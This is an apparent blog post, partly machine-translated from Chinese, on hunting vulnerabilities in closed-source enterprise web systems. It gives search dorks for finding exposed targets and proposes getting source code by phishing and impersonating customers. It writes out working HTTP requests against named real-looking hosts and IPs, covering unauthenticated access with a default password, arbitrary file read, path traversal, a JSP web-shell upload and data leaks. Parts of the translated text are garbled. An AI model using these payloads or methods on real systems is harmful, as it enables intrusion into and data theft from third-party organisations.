ZyVOP Logo
Content That Connects
SeriesAI NewsWhy ZyVOPJoin Discord
ZyVOP Logo
Content That Connects

Empowering developers and creators with cutting-edge insights, comprehensive tutorials, and innovative solutions for the digital future.

Content

  • Categories
  • Tags
  • Badges
  • Leaderboard
  • Write Article
  • Newsletter

Company

  • About Us
  • Why ZyVOP
  • API Documentation
  • Write for Us
  • Contact

Connect

  • Privacy Policy
  • Terms of Service
  • Cookie Policy
  • DMCA Policy
  • Code of Conduct

© 2026 ZyVOP. Crafted with care for the developer community.

Made with ❤️ by the ZyVOP team
All systems operational
HomeHow I Found Vulnerabilities in 17 Closed-Source Java Systems Over Six Months

How I Found Vulnerabilities in 17 Closed-Source Java Systems Over Six Months

I0veD
I0veDcyber security researcher
August 12, 2026
25 min read
How I Found Vulnerabilities in 17 Closed-Source Java Systems Over Six Months
Article

Some source code collection ideas

hunter搜索语句:
web.title=="Everything"&&icpname =“xxxweb.title=="Index of /"  web.title=="Directory List l web.title=="Directory listingfor /") &&"xxxx
(webtitle=="Home Page - Select or create a notebook"  web.title=="JupyterLab")&&"xxxx"
禅道 gitlab influence等共同开发平台获取客服源码
钓鱼获取源码
后渗透获取源码
假冒客户获取冤啊
应用交付平台获取供应商与客户之间的对接的源码
SaaS:供应商会在自己的服务器上为客户提供服务。攻击者可以攻击供应商从而窃取客户的数据。
为了防止404 最好选择有icp备案的进行访问

NO.1

==Mingyuan Cloud poc==

GET /service/Mysoft.Report.Web.Service.Base/GetErpConfig.aspx?erpKey=erp60&x-charset=utf-8&_t=0.6960882280478717 HTTP/1.1
Host: my.hucd.cn:9090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sid=3vyy20zqlbon0hgdg1olaijb
Connection: close

web.body="Mingyuan Cloud" Then look at the single URL of the system to see what services are available (directly put this IP into hunter to search)

Look for these without site titles

Just click on any one and take a look.

Put burp in and take a look. I don’t know why there are cookies.

GET /service/Mysoft.Report.Web.Service.Base/GetErpConfig.aspx?erpKey=erp60&x-charset=utf-8&_t=0.22701625859819452 HTTP/1.1
Host: erp.zhongruihengji.com:9090
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
x-charset: utf-8
Referer: http://erp.zhongruihengji.com:9090/Index.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sid=e1muhiu4unpuidi3ybamwobr; appkey=timespan=1677077400&pswd=YddkYBAFH3IrWhkWxqJaAw==
Connection: close

The cookie will be gone when you visit again later.

I refreshed the page below

It was found that there was no authentication directly from thehttp://zcpt.xinxingyu.com:8050/Go tohttp://erp.zhongruihengji.com:9090/Index.aspxAnd fill in "key=1" by default

web.body="Reporting Service"&&ip.port="9090" is full of "report sites that have been successfully built"

web.body="Report Service"&&ip.port="8050" (it doesn’t have to be 8050, you can just don’t need ip.port)

Or web.body="ERP registration"&&ip.port="8050"

There may be unauthenticated sites inside.

Let’s search directly

web.body="Reporting Service V3.0.0.1-ERP Registration"

I found that these can be logged in directly, and they all have the password 1. Could it be that the password is determined based on the first login?

POST /Index.aspx HTTP/1.1
Host: erp.zhenro.com:8092
Content-Length: 127
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Origin: http://erp.zhenro.com:8092
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://erp.zhenro.com:8092/Index.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sid=wd40gxlddqbwzbbks4mmkslj; BIGipServerpool_erp_http_8092=2919305388.39967.0000; appkey=timespan=1677080802&pswd=33h/i5rogOVbV4CLb2mc2g==
Connection: close

__VIEWSTATE=%2FwEPDwUKLTUxMTcwNzgxMGRkSbcKRWV%2FRcWXmYa0oj0UzDw6aa2gMpdVXAM%2FeSDatX8%3D&__VIEWSTATEGENERATOR=90059987&psword=1

Let's put this

/service/Mysoft.Report.Web.Service.Base/GetErpConfig.aspx?erpKey=erp60&x-charset=utf-8&_t=0.22701625859819452

Put into ==all==

Try it in web.body="Reporting Service"

Unauthorized access to keys was found

example:

1. Find a site171.34.44.75:9090

There is no sid when you visit for the first time. After refreshing, the sid will appear.

Send to repeter A simple unauthorized vulnerability

Summarize:

1.找系统
2.对该系统的特定ip找服务
3.每个服务放到burp里看有没有未授权(途径:看包改包 看相应的pretty)
4.找到了未授权的报表系统-ERP注册界面或web.body含有”报表系统-ERP注册“,密码为1
5.发现9090的"报表系统正在运行中"是5050的”erp注册“的完整版
6.burp获取”erp注册“的访问目录套进"报表系统正在运行中"进而造成未授权

The boss said he found another unauthorized person

Where did you get the directory? Unknown

NO.2

The registered capital is only 10 million. Keep it for Jiaodong.

js access -> controller directory penetration (such as being able to access ashx), try one directory at a time

web.body=Chongqing Yuanqiu Technology Co., Ltd.

用户读取
GET /Manage/User/ManagerBrowser.aspx?id=2 HTTP/1.1
Host: zsyy.qhssyy.com:8008
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ErrorTimes=0
Connection: close

Visit the aspx and find that the page jumps back to the home page. Then put it in the burp package and see the return package. Find the following in order.

/Manage/WebConfig.aspx
/Manage/HomePage.aspx
/Manage/User/ManagerBrowser.aspx?id=
/UserInfo/UserBrowser.aspx
/UserTest/MoniTestMain.aspx
/UserTest/PaperTest.aspx
/UserTest/ChapterList.aspx
/UserTest/FavorList.aspx?code=001001
/DocPages/DocList.aspx
/News/NewsList.aspx
/DocPages/ToolFileList.aspx

When I run it again, everything jumps to the login page. Going to burp again is a bit meaningless. Another point is because I feel that the aspx of burp again is also the above.

Then let’s try burp directly with these two controllable ones.

/Manage/User/ManagerBrowser.aspx?id=
/UserTest/FavorList.aspx?code=001001

An unauthorized + information leak came out

try it

/UserTest/FavorList.aspx?code=001001

Nothing good, I got this one back

/UserTest/FavorTitleList.aspx?type=

give it a try

Okay. Report an error. Then we won’t do it.

NO.3

icp.name="Medical/Energy/Infrastructure/Human Systems/Finance"&&web.body=".asmx"

Exposing the swagger interface is directly unauthorized.

The backups were exposed

Throw it into burp and check the return package

It’s nothing. It’s because everything has been exposed, so there’s nothing interesting to see.

NO.4

An icp check js

Direct access to see if the returned package has js or corresponding language such as ashx access

==Generally, just check the hunter page for each ICP==

Like this is a place where you can blast aspx

NO.5

Ruiqiyun code audit

1: Look at xml

1.xxx.security.xml

IS_AUTHENTICATED_ANONYMOUSLY above

Match the following "/*/"IS_AUTHENTICATED_REMEMBERED forms a whitelist

Double-click shift! Find!

Find these RequestMapping routes

All are accessible

Think about deployment and access through functions, all relying on routing

 public void downAll(HttpServletRequest request, HttpServletResponse response) {
        try {
            String filePath = ParamUtils.getParameter(request, "fpid", (String)null);
            filePath = URLDecoder.decode(filePath, "UTF-8");
            filePath = filePath.replace("\", "\");
            File file = new File(filePath);

Controllable

"Right click"->Show context request->Construct request in http

Construct POC

POST /hret/downfile HTTP/1.1
Host: 220.175.120.50:7755
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

fpid=C:\Windows\System32\drivers\etc\HOSTS

==Note== This format =="getParameter(request, "fpid", (String)null);"== code Our malicious construct=="fpid=C:\Windows\System32\drivers\etc\HOSTS"== can only be placed under the package

==Here’s the key point. In fact, we can’t catch the package above==

We can only catch bags like this

GET /login HTTP/1.1
Host: 220.175.120.50:7755
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8
Referer: http://220.175.120.50:7755/login;jsessionid=056B531393A01B73AFF6BCBF013CA38D
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID_Ecloud=056B531393A01B73AFF6BCBF013CA38D
Connection: close

Then we can construct the package in sequence

You can write whatever you want in the box or delete them.

But Content-Type: application/x-www-form-urlencoded must be written and bound to post.

There is also a == that must not be a blank line! ! ==

You see, we can change the login package above.

Still ok

Aren't our entire directories accessible? Let's try @request

You can do the same. That’s just a few holes.

Isn’t there another directory for xml? Give it a try too

There is a loophole (originally it is not possible, let’s try filling in some characters)

Jump to another level. Isn’t there other xml outside? Let’s look at other xml.

Take the intercept-url pictured below and apply it

Unfortunately, there is nothing

Then let’s jump to another level. Isn’t there also a web.xml?

Generally speaking, what to look at in web.xml is about session authentication, such as this opensession.

==The cyan box is filled in by ourselves (pretending there is a hole)==

==Generally, if something like ""/admin/api"" is written here, what can we do?==

==We can construct /admin/api.js, then the controller may jump to /admin/api to achieve unauthorized ==

==Later, I discovered that most of these contorlls are decompiled class files in the web.inf package. The contents of these files cannot be accessed by ordinary ctrl+shift+f. Double-click shift to see the decompiled file. Then we need to pay more attention to the contents of these files. There are quite a lot of controllable getparams in them==

Although there is no plug-in to solve the above method, we can decompile and save it through the gui and then use seekfast to find the content in the class file.

besides

ZenTao 18.0~18.3 backstage command injection

NO.6

Find session, find control servlet

<servlet-name>uploaddoc</servlet-name>
<url-pattern>/servlet/uploaddoc</url-pattern>
<servlet-name>PayBill</servlet-name>
<url-pattern>/servlet/PayBill</url-pattern>
<servlet-name>worksgn</servlet-name>
<url-pattern>/PlutoInvoker/worksgn</url-pattern>

Decompile

The idea is like this. Generally, classes are in jar packages. Then we have to decompile them first to facilitate search.

java batch decompilation

This requires using our jad.exe

What we have to do now is to unpack the jar packages in batches and then decompile them in batches.

Generally our jar package exists in this location: WEB-INF\lib

Although it is generally necessary to exclude irrelevant jar packages such as cc4

But we have this code

==The following files are all there==

G:\桌面文件夹\src\java批量反编译

inside

import os
import zipfile

#参数:1、工程目录;2、编译插件路径
def decompile(filepath,toolpath):
   for root,dirs,files in os.walk(filepath):
       print('[+] '+root)
       for filename in files:
           if '.jar' in filename or '.class' in filename:
               if not os.path.exists(root+'src'):#自动在jar包同级目录下创建以_src结尾的文件夹,用以存放反编译后的jar包和解压包
                   os.makedirs(root+'src')
               try:
                   os.system('java -jar {0} {1} {2}'.format(toolpath,root+'/'+filename,root+'src'))
                   with zipfile.ZipFile(root+'src'+'/'+filename, 'r') as zzz:
                       zzz.extractall(root+'src'+'/'+filename[:-4])
                   os.remove(root+'src'+'/'+filename)
               except:
                   print('error:'+root+'/'+filename)

if name == 'main':
   filepath='/lib' #1、需要编译的工程目录
   toolpath='fernflower.jar' #2、编译软件路径
   decompile(filepath,toolpath)

and this decompile jar package file

https://github.com/5wimming/jar-decompile

Because each set of code review cycle is about a week, so it is not used many times, so I suggest that every time you use it, put the lib and this jar file directly on the desktop and use it directly, like this

ok After decompilation, copy directly into web-inf

Later I found a better one that supports direct code search

Ppsoft1991/CodeReviewTools: Use regular search and batch decompile class names in specific Jar packages (github.com)

Now you can find a lot of things at a glance

What to do then? We look for historical loopholesUF Spacetime KSOA software front-end file upload vulnerability-Ziyun Community (zilyun.com)

<font face="Calibri">POST http://ip:port/servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=111111.jsp&_ZQA_ID=d0d60ec54924481c HTTP/1.1<br>
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0</font><br>
<font face="Calibri">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/<a href="https://www.zilyun.com/tag/web">web</a>p,*/*;q=0.8</font><br>
<font face="Calibri">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</font><br>
<font face="Calibri">Accept-Encoding: gzip, deflate</font><br>
<font face="Calibri">Content-Type: multipart/form-data; boundary=---------------------------122739796041499160471980406311</font><br>
<font face="Calibri">Content-Length: 51</font><br>
<font face="Calibri">Origin: null</font><br>
<font face="Calibri">Connection: close</font><br>
<font face="Calibri">Upgrade-Insecure-Requests: 1</font><br>
<br>
<font face="Calibri"><% out.println("bea86d66a5278f9e6fa1112d2e2f1"); %></font>

You can see that the interface inside is accessiblecom.sksoft.bill.ImageUpload

Line 1

==Summary of existing priorities==

OA目录
web.xml
burp-repeater
var1.getParameter

总结:先自下而上并同级搜索 再自上而下

Let’s check locally

WEB-INF\lib_src_\ksoa\com\sksoft\bill\ImageUpload.java

In other words, all files under WEB-INF\lib_src_\ksoa\com\sksoft\bill\ are probably accessible. Let’s try it.

The hole before was because it was controllable.

Many red codes don’t affect our viewing.

First look at the controllable getparam

Then we can proceed with the code audit operation.

At the same time, we also need to conduct line two to conduct a security audit.

This ensures that the controls we audit can be accessed

You see, you can access it

com.sksoft.***

Since our com.sksoft.bill line is accessible

Then we can look for com.sksoft in web.xml. Is there any other line? Then we can see if it is controllable.

Repeat the operation of the second line and we find all getparams! ! ! (Whimsical, please contact me if you have the tools)😭

Otherwise, we should take our time, file by file, and don’t take big steps.

==I'm speechless. It seems that the holes in this frame from last year haven't been repaired yet==

Third line:

Use burp to compare adaptations and see if you can access it.

There is suspicion of SQL injection in CheckRepeat

UFIDA/WEB-INF/lib_src_/ksoa/com/sksoft/v8/trans/servlet/StateSyncServlet.java

It’s really difficult to construct. Brothers who fight CTF. Part 1

Later I discovered that although the code style is messy, it can be used

("service"); to construct a simple controllable

Then we have to ctrl+shift+f

==DOGET DOPOST custom function should also pay attention==

fourth line

ctrl+shift+f var1.getParameter("") Explore

Accessible interfaces:

/servlet/com.sksoft.v8.cb.RetailUserRegister
com.sksoft.v8.km.Tree  这种虽然可访问 但是不能burp-post  只能找找有没有下级目录未授权

If you think this is routine, don’t look at it.

Mainly looking for this kind of

This level should be placed in front of web.xml. Use this method to narrow the scope first.

fifth line

Find 500 in a roundabout way

Why does the 500 palindrome exist? Generally, it is because we do not have normal access (the structure is correct) and cannot access it.

It will be fine if we construct the correct return packet. md accidentally broke his phone just now and was in a bad mood. Just look at the code.

 //doGet  这个的意思是,你即便是get传参进去,也会调用POST  this.doPost(var1, var2);
   protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws IOException, ServletException {
      this.doPost(var1, var2);
   }
   //doPost    HttpServletRequest var1  这个就是接受传参。 String var3 = var1.getParameter(ACTION)  获取一个名为ACTION 的参数,也就是ACTION=
   //然后走到process 这个方法里面。
   protected void doPost(HttpServletRequest var1, HttpServletResponse var2) throws IOException, ServletException {
      String var3 = var1.getParameter(ACTION);
      this.process(var1, var2, var3, (Document)null, (String)null);
   }
   //但是,你可以看到,他也是取得了HttpServletRequest  if(var3.equals("write"))这个IF判断,才是处理模块
   //需要满足ACTION=write  才能进入这个功能模块 然后走到String var6 = this.a(var1, var2);
   //追入到this.a
   protected void process(HttpServletRequest var1, HttpServletResponse var2, String var3, Document var4, String var5) throws IOException, ServletException {
      if(!var3.equals("read") && !var3.equals("readnews")) {
         if(var3.equals("write")) {
            try {
               String var6 = this.a(var1, var2);
               var2.setContentType("text/xml;charset=UTF-8");
               var2.setHeader("Pragma", "no-cache");
               var2.setHeader("Expires", "0");
               PrintWriter var7 = var2.getWriter();
               var7.write("<root>");
               var7.write(var6);
               var7.write("</root>");
               var7.flush();
            } catch (Exception var8) {
               this.analyzeException(var3, var8);
               this.outputError(var2, var8.getMessage());
            }
         } else {
            var3.equals("readnews");
         }
      } else {
         try {
            if(var3.equals("read")) {
               this.do(var1, var2);
            } else if(var3.equals("readnews")) {
               this.if(var1, var2);
            }
         } catch (Exception var9) {
            this.analyzeException(var3, var9);
            DesktopInfo.outputErrorInfo(var2, "附件读取错误", var9.getMessage(), "javascript:history.go(-1)", "返回");
         }
      }

  }

  public static String getGUID() {
     int var0 = int;
     short var1 = do;
     Object var2 = for;
     synchronized(for) {
        if(do == 32767) {
           boolean var3 = false;

           while(!var3) {
              long var4 = System.currentTimeMillis();
              if(var4 < new + 1000L) {
                 try {
                    Thread.sleep(1000L);
                } catch (InterruptedException var7) {
                    ;
                }
              } else {
                 new = var4;
                 do = -32768;
                 var3 = true;
              }
          }
        }

        var1 = do++;
    }

     return GeneralUtility.getRawDateTime() + "-" + Integer.toString(var0, 16) + Integer.toString(var1, 16);
  }

  private void do(HttpServletRequest var1, HttpServletResponse var2) throws Exception {
     String var3 = GeneralUtility.iso2gb(var1.getParameter("attachid"));
     String var4 = CommonProperty.getInstance().getAttachPath();
     File var5 = new File(var4 + "/" + var3.substring(0, 6) + "/" + var3);
     if(!var5.exists()) {
        var5 = new File(var4 + "/temp/" + var3);
        if(!var5.exists()) {
           throw new Exception("找不到指定的附件:" + var3);
        }
    }

     String var6 = var3;
     int var7 = var3.indexOf(95);
     if(var7 > 0) {
        var6 = var3.substring(var7 + 1);
    }

     this.a(var1, var2, var5, var6);
  }

  private void if(HttpServletRequest var1, HttpServletResponse var2) throws Exception {
     String var3 = var1.getParameter("attachid");
     String var4 = GeneralUtility.iso2gb(var1.getParameter("trace"));
     String var5 = GeneralUtility.iso2gb(var1.getParameter("exclusivenm"));
     String var6 = CommonProperty.getInstance().getNewsAttachPath();
     File var7 = new File(var6 + var4);
     if(!var7.exists()) {
        throw new Exception("找不到指定的附件:" + var5 + "(附件ID:" + var3 + ")");
    } else {
        int var8 = var5.indexOf(95);
        if(var8 > 0) {
           var5 = var5.substring(var8 + 1);
        }

        this.a(var1, var2, var7, var5);
    }
  }

  private void a(HttpServletRequest var1, HttpServletResponse var2, File var3, String var4) throws Exception {
     var2.setContentType("application/x-msdownload");
     var2.setHeader("Content-Disposition", "attachment;filename=" + GeneralUtility.gb2iso(var4));
     FileInputStream var5 = new FileInputStream(var3);
     byte[] var6 = new byte[4096];
     ServletOutputStream var8 = var2.getOutputStream();

     int var7;
     while((var7 = var5.read(var6)) != -1) {
        var8.write(var6, 0, var7);
    }

     var8.flush();
     var5.close();
  }

  //String var3 = GeneralUtility.iso2gb(var1.getParameter("filename")); 这里,他还要你提供一个filename
  //也就是ACTION=write&filename=文件名
  //String var4 = getGUID() + "" + var3; 这里是生成一个文件名,你可以理解为一个随机数+filename 比如Filename = 1.jsp
  // getGUID生成的值为1111 那么var4等于1111.jsp
  //String var5 = CommonProperty.getInstance().getAttachPath();这个可以无视,他没有接受传参这类的
  //File var6 = new File(var5 +. "/temp"); 这里是路径,然后打开流
  // if(!var6.exists()) 判断非空
  // File var7 = new File(var5 + "/temp/" + var4); 理解为指定路径
  //ServletInputStream var8 = var1.getInputStream(); 获取流 也就是,这块位置的内容,他没有指定参数这类,可以不考虑传参,直接丢想要写入的内容就可以
  //剩下的就是循环,判断,写入,然后关闭流
  //重点是,他这个temp的目录是没有的,或者说存在某个配置,但是你是静态分析代码,很难去得知路径
  //下面就是要思考怎么绕过这个限制
  private String a(HttpServletRequest var1, HttpServletResponse var2) throws Exception {
     String var3 = GeneralUtility.iso2gb(var1.getParameter("filename"));
     String var4 = getGUID() + "" + var3;
     //他这里是获取某个写好的静态变量比如Path=Admin/file/ 这类的,但是你可以看到,我刚刚追进去,他是无法继续深究不知道具体的指向
     String var5 = CommonProperty.getInstance().getAttachPath();
     File var6 = new File(var5 + "/temp");
     if(!var6.exists()) {
        var6.mkdirs();
    }
     //File var7 = new File(var5 + "/temp/" + var4);这里就是路径
     File var7 = new File(var5 + "/temp/" + var4);
     ServletInputStream var8 = var1.getInputStream();
     var7.createNewFile();
     FileOutputStream var9 = new FileOutputStream(var7);
     int var10 = var1.getContentLength();
     byte[] var11 = new byte[4096];
     boolean var12 = false;
     int var13 = 0;

Next try to find the bypass (find the http directory)

We pass this poc under the same file

POST /servlet/com.sksoft.bill.Attachment?action=read&&attachid=20230311160742-fde0d5-7ffd_1.jsp HTTP/1.1
Host: 114.111.0.236:8001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9;image/jpeg
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0

It can be found that attachid is the basis for judging files. Why are we looking for this? Because we want the server to respond to the file directory, so we have to provide him with a file.

Another one is this getattachpath. Doesn’t the other party want to return the address? It also needs to go through this function.

Try ctrl+shift+f

POST /servlet/uploaddoc?key=readimage&sImgname=../..&sKeyvalue=20230311160742-fde0d5-7ffd_1.jsp HTTP/1.1
Host: 114.111.0.236:8001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9;image/jpeg
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2

Finally, in this uploaddoc file, I tried a lot of methods but couldn't succeed. If the function is constructed successfully, there will be a SQL injection in it.

Later, I heard from the boss that the file was not implemented yet. Now that the paths have been spliced, just ../ cross directories and it’s done.

Directly upload across directories to the specified address

This is more difficult for novices because it is a static code audit and the path is difficult to track.

This is quite difficult to find. Let’s introduce it step by step because in fact it will not be echoed correctly in the response. You have no way of knowing where it is generated and echoed correctly.

==Let me summarize a shortcut method first. See the following operations (that is, post a package and visit the web once)==

Then just add a few blur points

I think these two are actually generated halfway. This kind of response "cannot tell you clearly the echo you want."

This requires 1. We need to use web.get to determine

2. Don’t think that the appearance of such a thing means that it cannot be found.

NO.7

Ordinary code auditing is still too unintuitive, especially for packet capture.

Unless your code audit is very strong, it is still recommended to build the platform first if you can.

Therefore, it is recommended to build a platform first

NO.8

Qiangzhi-struct2

Generally speaking, authentication is controlled by the controller.

But I want to take advantage of the features of st2, such as /yhxigl.do

I saw that there is a function that is not authenticated, but if I call the function in the same directory, it will directly cause permission problems.

For example, function A under /yhxigl.do is not authenticated, but in st2, you can control other functions on the same page of function A by controlling the parameter transfer. Now I want to call function B.

But it cannot be called and prompts for authentication.

==Because when you do authentication, you must do /yhxigl.do-based authentication. ==

NO.9

The black box must be searched on several websites. As mentioned before, some websites are not fully configured. Some websites have corresponding functions and some websites do not.

Qi'an Xinyingtu: app.name="Chanjietong T+"

1.ASP.NET_SessionId authentication

Even if the login fails, a new ASP.NET_SessionId will be given when capturing the packet.

This ASP.NET_SessionId can be accessed

These three function points have SQL injection in the "second message subscription" function point.

Why did you find this place?

Just multiple test sites, try more

2./tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

{"condition":"","accNum":"","onlyBuying":false}

The poc is as follows

POST /tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers HTTP/1.1
Host: 114.117.204.254:2105
Content-Length: 47
Accept:
X-AjaxPro-Method:
X-Requested-With:
User-Agent:
Content-Type:
Origin:
Referer:
Accept-Encoding:
Accept-Language:
Cookie: ASP.NET_SessionId=5zrruyvkam3rdll3j2guf0h0; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1654339085; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1654339085; sid=admin
Connection: close

{"condition":"","accNum":"","onlyBuying":false}

3.

Although I have seen this place many times before, it actually has holes, so I have to try more or find a code white box.

./login.model.js
login.controller.js
../clientversion.js   var clientVersion="1710";
../../app/viewextend.js

login.model.js,login.controller.js,../clientversion.js,../../app/viewextend.js

ChangePassword.aspx
'ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx',
'img/checkcode.ashx?'

../LicenseInformation.aspx
"http://172.16.200.205:802/CencProductRegister.aspx?"
"RecoverPassword.aspx" "找回密码"

../../img/checkcode.ashx ../img/checkcode.ashx 都可
../../../checkcode.ashx ../../../img/checkcode.ashx 不行
../../*.ashx 路径中具有非法字符 *是非法字符

没几个调用 唯一可能有用那个的就是这个../img/checkcode.ashx

4.Video

\Chanjet Black Box Test</p>

NO.10

zj bank qingqi technology webchat

webapps/webstat/WEB-INF/lib_src_/ucstar_webstat/qflag/ucstar/webcall/servlet/RandImagesServlet.java

C:\Users\CDxiaodong\Desktop\Zheshang Bank\webapps\webstat\dxmobilewebcall\gettime.jsp

I’m quite speechless and reluctant to open my mouth = =

NO.11

This thing has several different sets of functions that are all accessible, so you have to try them separately.

1th

https://221.226.79.114:8443/CardSolution/

After comparing this, this appears, but likepmmsThere will be no such "login timeout"

I looked through web.xml and saw all kinds of authentication and filters. I was too lazy to look at it, so I just fuzzed it.

dir .jsp /b /s and then fuzz directly

During this period, you need to refresh the interface to see if it is blocked by the firewall.

2th

https://59.55.120.93:8443/cpmms/

There is no "login timeout" reported. Take a look at the source code.

Static package skip

3th

My JSP 'index.jsp' starting page (pj968969.cn)

Nothing next

4TH

login (inpark.com.cn)

Nothing next

5TH

Face application

page/include/sidebar.jsp

Can be accessed directly OK

There is no controllable upload point. Next

6TH

e6fhmfwk.v3n.pkoplink.com

The entire directory has no permissions Next

7th

https://e6fhmfwk.v3n.pkoplink.com:8443/portal/will jump toe6fhmfwk.v3n.pkoplink.com

Check to see if there is authentication elsewhere

Although the SOAP service is 500, there is no implementation file. It is based on xml format and has no vulnerabilities.

I found that there are many jsps in the pages folder.

Can't stand it anymore, start sweeping!

Although they are all 200, I understand that they are all static pages. No wonder I handed in "pages".

So far Next

8th

Home page (pkoplink.com)

The same is to see if authentication can be bypassed.

dir .java /s /b

There are many java files that few b can access. Next

9th

https://86fh7fwk.v3n.pkoplink.com:8443/vims/

There's nothing. I'll never look at jsp files again.

10th!!!!!!!!!

WPMS

new method

1. Find core .java and use everything to find related folders. Use web.xml to batch create packages.

Sequence ①web.xml ②Folder ③ core .java

2. Intruder visits to see the response-length

For example, we find dahua through web.xml here

dir .class constructs batch packages and gets "real"

and then intruder

good good way

Summary 1.web.xml extraction 2.java class control package extraction 3.POST/GET 4.POST+Content-Type: application/x-www-form-urlencoded

4.inrtuder-fuzz 5. View each package based on local files

The effect is still very objective

Waiting to be done

post prevention

/WPMS/dataView/saveView、/WPMS/checkLoginPass、/WPMS/getPublicKey、/config/save

get prevention

/resources/preview.jsp", "/config/default", "/logout

Find dataView for everything and find that there may be new points

Made anti-csrf

 private List<String> SQL_CHECK_SYMBOL = Arrays.asList(new String[] { """, "0x", "/", "/", "|", "&&", "--", ")", "(", "\", "..", "", "<", ">" });
 private List<String> JSON_CHECK_SYMBOL = Arrays.asList(new String[] { """, "0x", "/", "/", "|", "&&", "--", ")", "(", "\", "..", "*" });

two

/WPMS/1.0.0/domains/getRegisterDomains

Of no use

But I found this by chance

Find out how to upload

Remember that there was a "/config/save" in the previous post.

It happens to be here

How to access this point?

Blind guess/WPMS/config/save is just that there is no obvious echo, but our previous dataview has already prompted it.

According to the package below, you can also confirm that it is here.

I didn't expect to find an information leak when I compared it repeatedly.

GET /WPMS/config/list/all HTTP/1.1
Host: e6fhmfwk.v3n.pkoplink.com:8443
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

three

/WPMS/properties/dss_install_timestamp

The getProperty function is called, which has no holes in itself. At most, there is information leakage (the leakage is still the encoding format of the database)

So here it defaults to dss_install_timestamp (it will say _replace with.) So can we construct a fake it to get the information

Okay. It seems that the splicing can’t be done. Next

11th!

In fact, we checked quite carefully before, so we usually won’t miss anything, which also shows that our technology is indeed good, but

There is a place here that we missed at the beginning, which is the class folder. The things here are also accessible and need to be decompiled.

Well, we decompiled the jar package before, but sometimes we need to decompile the class folder. When does it usually happen?

==Of course I recommend decompiling both==

the difference

放在lib文件夹的代码是想要作用全局
但是其实这套代码的每个功能的鉴权 配置不一样 所以需要直接奔这个class去
然后如果wml有这种***.****.***.***的映射到lib文件 就需要去翻lib文件

In fact, the hole we dug in the tenth step is also in the decompiled package of the class WPMS/WEB-INF/classes.src/com/dahua/wpms/controller/ConfigController.java

